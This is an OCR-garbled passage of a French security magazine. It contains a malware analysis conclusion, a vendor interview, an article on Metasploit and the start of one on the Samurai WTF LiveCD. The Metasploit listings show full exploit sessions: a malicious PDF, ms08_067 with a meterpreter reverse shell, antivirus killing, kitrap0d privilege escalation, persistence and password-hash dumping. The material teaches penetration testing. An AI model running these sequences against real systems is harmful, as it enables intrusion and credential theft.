Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

